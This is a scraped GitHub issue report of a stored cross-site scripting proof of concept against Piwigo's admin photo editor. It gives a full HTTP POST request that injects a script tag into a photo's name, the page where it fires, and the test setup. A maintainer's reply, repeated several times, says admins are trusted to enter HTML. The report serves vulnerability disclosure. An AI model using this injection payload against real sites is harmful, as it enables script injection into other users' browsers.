It's not a bug, it's a feature: an administrator can include HTML (thus javascript) in photo title, description... Administrators are "trusted" users.
It's not a bug, it's a feature: an administrator can include HTML (thus javascript) in photo title, description... Administrators are "trusted" users.
<!-- github-comment-id:310993578 -->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
1.Change the image information to xss payload:

http packet:
POST /Piwigo/admin.php?page=photo-4 HTTP/1.1
Host: 127.0.0.1
Content-Length: 156
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/Piwigo/admin.php?page=photo-4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=efb20fpih3ej69adj8ljiblb34
Connection: close
name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&author=&date_creation=&associate%5B%5D=2&description=&level=0&submit=%E5%84%B2%E5%AD%98%E8%A8%AD%E5%AE%9A
2.To view the url:
http://192.168.0.109/Piwigo/index.php?/category/2
Windows XP Professional
Apache
MySQL
PHP 5.4.45
discovered by: mstteam(gh0stkey)
It's not a bug, it's a feature: an administrator can include HTML (thus javascript) in photo title, description... Administrators are "trusted" users.